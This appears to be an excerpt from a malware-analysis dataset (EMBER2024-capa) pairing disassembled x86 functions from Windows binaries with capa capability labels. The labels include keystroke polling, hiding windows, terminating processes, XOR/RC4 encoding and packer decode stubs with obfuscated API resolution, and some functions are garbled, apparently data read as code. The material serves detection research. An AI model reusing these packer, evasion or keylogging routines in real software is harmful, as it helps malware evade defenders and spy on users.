joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a1e44
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x170]
test eax, eax
je 0x4a1ee6
cmp dword [ebx + 0x94], 0
jne 0x4a1ee0
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4a1d90
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4a1ee0
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4a1ea6
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4a1ee0
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00431888
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4a1eb5
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4a2104
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x53928c]
cmp dword [eax + 0x170], 0
je 0x4a2269
test bl, bl
jne 0x4a21b7
cmp dword [esi + 0x9c], 0
jne 0x4a21ac
mov eax, esi
call fcn.004a4e9c
push eax
push 0x4a2010
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x4a217d
mov eax, dword [0x53928c]
cmp byte [eax + 0xd3], 0
je 0x4a217d
mov eax, dword [esi + 0xd8]
call fcn.00408ad4
mov edi, eax
cmp edi, 0
jl 0x4a217d
push 0
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a2166
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a21ac
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00431888
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a218c
inc dword [esi + 0x9c]
jmp 0x4a2269
cmp dword [esi + 0x9c], 0
jle 0x4a2269
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x4a2269
cmp dword [esi + 0x44], 0
je 0x4a2214
mov eax, dword [0x53928c]
cmp byte [eax + 0xd3], 0
je 0x4a2214
mov eax, dword [esi + 0xd8]
call fcn.00408ad4
mov edi, eax
cmp edi, 0
jl 0x4a2214
push 5
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a21fd
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a2243
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.00431888
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a2223
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xd8]
mov ecx, 1
mov edx, dword [0x495930]
call fcn.00408c94
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x4a2e84
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4a2eef
cmp byte [ebx + 0xd3], 0
jne 0x4a2eef
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00407564
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4a2edc
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4a2efc
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00407428
jmp 0x4a2efc
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00407428
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4a4600
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4a466e
mov eax, esi
call fcn.0047ea84
test al, al
je 0x4a466e
mov eax, dword [ebx + 0x84]
call fcn.0047e6d8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4a466e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4a4662
push 0
mov eax, dword [ebx + 0x84]
call fcn.0047e6d8
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00475ad4
jmp 0x4a466e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004a4438
pop esi
pop ebx
ret
Function at 0x52268c
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x522779
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3e8]
mov eax, dword [eax + 8]
dec eax
test eax, eax
jl 0x522756
inc eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3e8]
mov edx, dword [ebp - 0xc]
call fcn.00431888
mov ebx, eax
lea eax, [ebp - 0x18]
mov edx, dword [ebx + 0x10]
call fcn.00407688
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00521cf8
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x3dc]
lea eax, [ebp - 4]
call fcn.004078f4
mov eax, dword [ebp - 4]
call fcn.00412280
test al, al
je 0x52274a
xor eax, eax
push ebp
push 0x522740
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004074b4
push eax
call sub.kernel32.dll_DeleteFileW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x52274a
inc dword [ebp - 0xc]
dec dword [ebp - 0x10]
jne 0x5226d1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x522780
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00407420
lea eax, [ebp - 4]
call fcn.00407418
ret

Function at 0x5229c4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x244], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00407410
lea esi, [ebp - 0x238]
xor eax, eax
push ebp
push 0x522b1f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
xor edx, edx
mov eax, 2
call fcn.005214d0
mov dword [ebp - 0xc], eax
mov dword [esi], 0x22c
xor eax, eax
push ebp
push 0x522af2
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, esi
mov eax, dword [ebp - 0xc]
call fcn.005214f0
mov ebx, eax
jmp 0x522ad3
lea edx, [ebp - 0x23c]
mov eax, dword [ebp - 4]
call fcn.004124a0
mov eax, dword [ebp - 0x23c]
push eax
lea eax, [ebp - 0x244]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00407620
mov eax, dword [ebp - 0x244]
lea edx, [ebp - 0x240]
call fcn.004124a0
mov eax, dword [ebp - 0x240]
pop edx
call fcn.00411168
test al, al
jne 0x522aaf
lea eax, [ebp - 0x248]
lea edx, [esi + 0x24]
mov ecx, 0x104
call fcn.00407620
mov eax, dword [ebp - 0x248]
mov edx, dword [ebp - 4]
call fcn.00411168
test al, al
je 0x522ac7
push 0
mov eax, dword [esi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov dword [ebp - 8], eax
mov edx, esi
mov eax, dword [ebp - 0xc]
call fcn.00521510
mov ebx, eax
test ebx, ebx
jne 0x522a41
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x522af9
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
Function at 0x52532c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00407410
mov eax, dword [ebp - 8]
call fcn.00407410
lea ebx, [ebp - 0x44]
xor eax, eax
push ebp
push 0x5253d0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
xor ecx, ecx
mov edx, 0x3c
call fcn.00404ba0
mov dword [ebx], 0x3c
mov dword [ebx + 4], 0x40
xor eax, eax
mov dword [ebx + 8], eax
xor eax, eax
mov dword [ebx + 0xc], eax
mov eax, dword [ebp - 4]
call fcn.004074b4
mov dword [ebx + 0x10], eax
mov eax, dword [ebp - 8]
call fcn.004074b4
mov dword [ebx + 0x14], eax
xor eax, eax
mov dword [ebx + 0x18], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
xor eax, eax
mov dword [ebx + 0x20], eax
push ebx
call sub.shell32.dll_ShellExecuteExW
push 0xffffffffffffffff
mov eax, dword [ebx + 0x38]
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5253d7
lea eax, [ebp - 8]
mov edx, 2
call fcn.00407420
ret
Function at 0x4352f9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x435308
pop dword [ebp - 0x4c]
mov eax, 0xbd2d6f8f
sub eax, 0xbcea1c87
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x1d185bab
sub dword [ebp - 0x5c], 0xcec61660
mov dword [ebp - 0x58], 0x68234b07
add dword [ebp - 0x58], 0xca10013e
mov dword [ebp - 0x54], 0xc96fb5d2
sub dword [ebp - 0x54], 0x7d2371a4
mov dword [ebp - 0x50], 0xe617f640
add dword [ebp - 0x50], 0x19e809c0
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x192c436c
add eax, 0xe71d4ce8
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x134f813c
add dword [ebp - 0x5c], 0x6122e81a
mov dword [ebp - 0x58], 0xbae77c19
sub dword [ebp - 0x58], 0x797b1aa4
mov dword [ebp - 0x54], 0x82fcd540
add dword [ebp - 0x54], 0xe072972c
mov dword [ebp - 0x50], 0x4acd887f
sub dword [ebp - 0x50], 0x4acd887f
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x71d58
push 0
call eax
mov ecx, 0x5563
xor esi, esi
add esi, eax
mov edi, 0x97eeac22
add edi, 0x685db1de
add edi, dword [ebp - 0x4c]
mov edx, 0x55dfaaf
xor dword [ebp - 0x1c], edi
mov ebx, dword [edi]
sub dword [ebp - 0x20], 0x5fd7e2a4
add ebx, edx
mov dword [ebp - 0x3c], 0x23cafdfc
mov dword [esi], ebx
xor dword [ebp - 8], edx
add esi, 4
add edi, 0x664035f4
sub edi, 0x664035f0
loop 0x43541b
add eax, 0x1485f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2058282f
add ecx, 0xdfe7d7d1
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x40a430
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4108dc], 0x14
jl 0x40a4a9
push 0xee410728
nop
js 0x40a43c
nop
nop
nop
ficom dword [ebp - 0x75]
in al, dx
mov eax, dword [ebp + 0x14]
push esi
mov esp, dword [ecx]
or bh, dh
nop
sbb ebx, esp
push ebp
fmul dword [eax + 0x50]
mov eax, dword [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test eax, eax
mov dword [ebp + 0x14], eax
adc al, 0x52

Function at 0x40a9a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov ebx, dword [ebx]
or cl, byte [ebx - 0x762d7aa4]
push ebp
clc
jne 0x40a9c3
inc edi
jbe 0x40a9da
imul edi, dword [ecx], 0x8bea7400
jne 0x40a9d6
mov byte [0x4a19d408], al
dec edx
Function at 0x4031a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4031b0
pop dword [ebp - 0x1c]
mov eax, 0x4031b0
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xc18cd1bf
add dword [ebp - 0x2c], 0x8cc5738c
mov dword [ebp - 0x28], 0xb8b19564
sub dword [ebp - 0x28], 0x867e491f
mov dword [ebp - 0x24], 0xe9bdae2a
add dword [ebp - 0x24], 0x628e9604
mov dword [ebp - 0x20], 0xdaf48f
add dword [ebp - 0x20], 0xff250b71
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xc693d93c
sub eax, 0xc65398d0
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xb9d1f8c1
sub dword [ebp - 0x2c], 0x455f8f6b
mov dword [ebp - 0x28], 0x878318a9
sub dword [ebp - 0x28], 0x4616b734
mov dword [ebp - 0x24], 0xf6a3af1f
add dword [ebp - 0x24], 0x6ccbbd4d
mov dword [ebp - 0x20], 0x9705920f
add dword [ebp - 0x20], 0x68fa6df1
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x701a2f82
sub eax, 0x6fd9eefe
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x37668
push 0
call eax
mov ecx, 0x679af21
add ecx, 0xf9869bfa
mov edx, eax
mov ebx, 0x410800
add ebx, dword [ebp - 0x1c]
mov esi, 0xe974c2ba
sub esi, 0x7a0d4f42
mov dword [ebp - 8], 0xaf768732
mov edi, dword [ebx]
xor edi, esi
xor dword [ebp - 0xc], edx
mov dword [edx], edi
sub dword [ebp - 0xc], 0x796c8577
add edx, 0x2d57e483
add edx, 0xd2a81b81
add ebx, 4
loop 0x4032c7
add eax, 0x519a1c51
sub eax, 0x5198fd12
xor ebx, ebx
add ebx, eax
add eax, 0x68d03d75
add eax, 0x972fc290
mov ecx, 0xc3eaad63
sub ecx, 0xc3aaad63
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x40eaa2
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.0040ec52
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x40eba0
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x40eb43
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x40eb86
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x40eb5a
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x40eb75
test al, 0x40
je 0x40eb6c
mov ecx, dword [edi + 0x20]
jmp 0x40eb73
test al, 0x80
je 0x40eb86
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x40eb86
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x40eb12
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x41bfc0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x49158b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048379a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x41c042
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00480c70
mov eax, dword [eax]
push 0x4d9270
push eax
call fcn.00472524
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00483a25
test bl, bl
je 0x41c042
push 0x4d9270
lea ecx, [esp + 0xc]
call fcn.00483e01
push 0x4dcdf4
lea ecx, [esp + 0xc]
call fcn.00483e01
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41c07e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00483a25
jmp 0x41c149
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x41c102
lea edx, [esp + 0x7c]
push 0x4dcdf0
push edx
call fcn.00472524
add esp, 8
test eax, eax
je 0x41c102
lea eax, [esp + 0x7c]
push 0x4dcdec
push eax
call fcn.00472524
add esp, 8
test eax, eax
je 0x41c102
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41c092
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00483a25
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x41c940
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x41c9a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x41c9b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49160b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4e44b0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x41cae8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x41ca16
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00483a25
xor eax, eax
jmp 0x41cb5f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00483bae
push esi
lea ecx, [esp + 0xc]
call fcn.00483e3d
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4dce2c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41cb3d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push connect
call fcn.0041c940
test eax, eax
jne 0x41cb3d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push connect
mov ecx, edi
call fcn.0041c940
test eax, eax
jne 0x41cb3d
lea eax, [esp + 0x14]
push 0x4dce08
push eax
call fcn.00473600
mov esi, eax
add esp, 8
test esi, esi
jne 0x41cb1c
lea ecx, [esp + 0x14]
push 0x4dce04
push ecx
call fcn.00473580
mov esi, eax
add esp, 8
test esi, esi
jne 0x41cb1c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41cb1f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00483b5e
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41ca2e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00483a25
xor eax, eax
jmp 0x41cb5f
mov byte [esi], 0
push 0x4dce00
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00483a25
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x42d690
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42d6fe
cmp si, 0x69
ja 0x42d6fe
add esi, 0xffd0
cmp si, 0x11
je 0x42d6ce
push 0x11
call edi
test ax, ax
jge 0x42d6ce
or esi, 0x2000
cmp si, 0x10
je 0x42d6e3
push 0x10
call edi
test ax, ax
jge 0x42d6e3
or esi, 0x4000
cmp si, 0x12
je 0x42d6f8
push 0x12
call edi
test ax, ax
jge 0x42d6f8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42d70b
mov esi, 0xbd
jmp 0x42d6bf
cmp si, 0x6e
jne 0x42d718
mov esi, 0xbe
jmp 0x42d6bf
cmp si, 0x6f
jne 0x42d6b9
mov esi, 0xbf
jmp 0x42d6bf

Function at 0x42eec0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4f5cf0]
xor edx, edx
cmp eax, edx
jne 0x42eee6
xor eax, eax
mov byte [eax + 0x4f5bf0], al
inc eax
cmp eax, 0x100
jl 0x42eece
mov dword [0x4f5cf0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4f5bf0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42ef77
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42ef4a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42ef18
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42eff0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42f043
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42f02a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret